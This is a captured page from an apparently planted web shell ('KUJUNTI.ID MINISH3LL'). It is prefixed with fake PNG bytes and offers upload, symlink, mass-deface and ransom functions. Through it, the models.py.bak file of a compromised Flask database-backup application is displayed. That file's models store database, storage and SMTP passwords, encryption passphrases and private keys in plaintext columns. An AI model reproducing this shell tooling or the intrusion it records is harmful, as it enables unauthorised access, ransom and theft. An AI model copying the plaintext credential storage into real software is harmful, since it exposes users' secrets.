\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/models.py.bak


import datetime
import os
from app import db
from werkzeug.security import generate_password_hash, check_password_hash
from flask_login import UserMixin

class DatabaseConnection(db.Model):
    """Model for database connection configuration."""
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(64), nullable=False)
    db_type = db.Column(db.String(16), nullable=False)  # mysql, postgresql, mariadb
    host = db.Column(db.String(128), nullable=False)
    port = db.Column(db.Integer, nullable=False)
    username = db.Column(db.String(64), nullable=False)
    password = db.Column(db.String(128), nullable=False)
    database = db.Column(db.String(64), nullable=False)
    pg_version = db.Column(db.String(8), nullable=True)  # PostgreSQL version (13, 14, 15, 16, 17)
    created_at = db.Column(db.DateTime, default=datetime.datetime.utcnow)
    
    backup_jobs = db.relationship('BackupJob', backref='database', lazy=True)
    
    def __repr__(self):
        return f'<DatabaseConnection {self.name}>'

class StorageTarget(db.Model):
    """Model for backup storage target configuration."""
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(64), nullable=False)
    storage_type = db.Column(db.String(16), nullable=False)  # smb, nfs, ftp
    host = db.Column(db.String(128), nullable=False)
    port = db.Column(db.Integer, nullable=True)  # Optional for some storage types
    username = db.Column(db.String(64), nullable=True)  # Optional for some storage types
    password = db.Column(db.String(128), nullable=True)  # Optional for some storage types
    path = db.Column(db.String(256), nullable=False)
    created_at = db.Column(db.DateTime, default=datetime.datetime.utcnow)
    
    backup_jobs = db.relationship('BackupJob', backref='storage', lazy=True)
    
    def __repr__(self):
        return f'<StorageTarget {self.name}>'

class BackupJob(db.Model):
    """Model for backup job configuration."""
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(64), nullable=False)
    database_id = db.Column(db.Integer, db.ForeignKey('database_connection.id'), nullable=False)
    storage_id = db.Column(db.Integer, db.ForeignKey('storage_target.id'), nullable=False)
    schedule_type = db.Column(db.String(16), nullable=False)  # daily, weekly, monthly, etc.
    schedule_value = db.Column(db.String(64), nullable=False)  # cron expression or specific value
    retention_days = db.Column(db.Integer, default=30)  # How many days to keep backups
    enabled = db.Column(db.Boolean, default=True)
    created_at = db.Column(db.DateTime, default=datetime.datetime.utcnow)
    last_run = db.Column(db.DateTime, nullable=True)
    
    # Şifreleme ayarları - veritabanı yapısı add_encryption_tables.sql dosyası ile güncellendi
    encrypt_backup = db.Column(db.Boolean, default=False)
    encryption_type = db.Column(db.String(16), nullable=True)  # symmetric, asymmetric
    encryption_key_id = db.Column(db.Integer, db.ForeignKey('encryption_key.id', name='fk_backup_job_encryption_key'), nullable=True)
    encryption_passphrase = db.Column(db.String(256), nullable=True)
    
    # Şifreleme ilişkileri
    encryption_key = db.relationship('EncryptionKey', backref='backup_jobs', lazy=True, foreign_keys=[encryption_key_id])
    
    logs = db.relationship('BackupLog', backref='job', lazy=True)
    
    def __repr__(self):
        return f'<BackupJob {self.name}>'

class BackupLog(db.Model):
    """Model for backup execution logs."""
    id = db.Column(db.Integer, primary_key=True)
    job_id = db.Column(db.Integer, db.ForeignKey('backup_job.id'), nullable=False)
    timestamp = db.Column(db.DateTime, default=datetime.datetime.utcnow)
    status = db.Column(db.String(16), nullable=False)  # success, failed
    message = db.Column(db.Text, nullable=True)
    backup_file = db.Column(db.String(256), nullable=True)  # Path to the backup file
    backup_size = db.Column(db.BigInteger, nullable=True)  # Size of the backup in bytes
    duration = db.Column(db.Float, nullable=True)  # Duration of backup in seconds
    
    # Şifreleme durum bilgisi - veritabanı yapısı add_encryption_tables.sql dosyası ile güncellendi
    encrypted = db.Column(db.Boolean, default=False)
    encryption_type = db.Column(db.String(16), nullable=True)  # symmetric, asymmetric
    
    def __repr__(self):
        return f'<BackupLog {self.job.name} {self.timestamp} {self.status}>'


class User(UserMixin, db.Model):
    """Model for user authentication."""
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(64), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password_hash = db.Column(db.String(256), nullable=False)
    is_admin = db.Column(db.Boolean, default=False)
    created_at = db.Column(db.DateTime, default=datetime.datetime.utcnow)
    last_login = db.Column(db.DateTime, nullable=True)
    
    def set_password(self, password):
        """Set password hash from a plaintext password."""
        self.password_hash = generate_password_hash(password)
        
    def check_password(self, password):
        """Check if the provided password matches the stored password hash."""
        return check_password_hash(self.password_hash, password)
    
    def can_view(self):
        """All users can view content."""
        return True
    
    def can_manage_db_connections(self):
        """Only admins can manage database connections."""
        return self.is_admin
    
    def can_manage_storage(self):
        """Only admins can manage storage targets."""
        return self.is_admin
    
    def can_manage_backup_jobs(self):
        """Only admins can manage backup jobs."""
        return self.is_admin
    
    def can_manage_users(self):
        """Only admins can manage users."""
        return self.is_admin
        
    def __repr__(self):
        return f'<User {self.username}>'


class EncryptionKey(db.Model):
    """Model for GPG encryption keys."""
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(64), nullable=False)
    email = db.Column(db.String(128), nullable=False)
    key_type = db.Column(db.String(16), nullable=False)  # RSA, DSA, etc.
    key_length = db.Column(db.Integer, nullable=False, default=2048)  # Key length in bits
    fingerprint = db.Column(db.String(64), nullable=False, unique=True)
    public_key = db.Column(db.Text, nullable=False)  # Public key data (ASCII-armored)
    private_key = db.Column(db.Text, nullable=True)  # Private key data (ASCII-armored, may be null)
    created_at = db.Column(db.DateTime, default=datetime.datetime.utcnow)
    created_by = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=True)
    
    creator = db.relationship('User', backref='encryption_keys', lazy=True)
    
    def __repr__(self):
        return f'<EncryptionKey {self.name} ({self.email})>'
    
    def short_fingerprint(self):
        """Return the short version of fingerprint (last 8 chars)."""
        if self.fingerprint and len(self.fingerprint) >= 8:
            return self.fingerprint[-8:]
        return self.fingerprint


class SmtpSettings(db.Model):
    """Model for SMTP email settings."""
    id = db.Column(db.Integer, primary_key=True)
    mail_server = db.Column(db.String(128), nullable=False)
    mail_port = db.Column(db.Integer, nullable=False)
    mail_use_tls = db.Column(db.Boolean, default=True)
    mail_use_ssl = db.Column(db.Boolean, default=False)
    mail_username = db.Column(db.String(128), nullable=False)
    mail_password = db.Column(db.String(128), nullable=False)
    mail_default_sender = db.Column(db.String(128), nullable=False)
    notification_emails = db.Column(db.String(256), nullable=False)
    created_at = db.Column(db.DateTime, default=datetime.datetime.utcnow)
    updated_at = db.Column(db.DateTime, default=datetime.datetime.utcnow, onupdate=datetime.datetime.utcnow)
    
    def __repr__(self):
        return f'<SmtpSettings {self.mail_server}>'
        
    @staticmethod
    def get_settings():
        """Get the SMTP settings (there should only be one record)"""
        settings = SmtpSettings.query.first()
        
        if settings is None:
            # Return default settings from environment variables if no DB record
            return {
                'mail_server': os.environ.get('MAIL_SERVER', 'smtp.gmail.com'),
                'mail_port': int(os.environ.get('MAIL_PORT', 587)),
                'mail_use_tls': os.environ.get('MAIL_USE_TLS', 'True').lower() in ('true', '1', 't'),
                'mail_use_ssl': os.environ.get('MAIL_USE_SSL', 'False').lower() in ('true', '1', 't'),
                'mail_username': os.environ.get('MAIL_USERNAME', ''),
                'mail_password': os.environ.get('MAIL_PASSWORD', ''),
                'mail_default_sender': os.environ.get('MAIL_DEFAULT_SENDER', ''),
                'notification_emails': os.environ.get('BACKUP_NOTIFICATION_EMAILS', '')
            }
        
        return {
            'mail_server': settings.mail_server,
            'mail_port': settings.mail_port,
            'mail_use_tls': settings.mail_use_tls,
            'mail_use_ssl': settings.mail_use_ssl,
            'mail_username': settings.mail_username,
            'mail_password': settings.mail_password,
            'mail_default_sender': settings.mail_default_sender,
            'notification_emails': settings.notification_emails
        }

© KUJUNTI.ID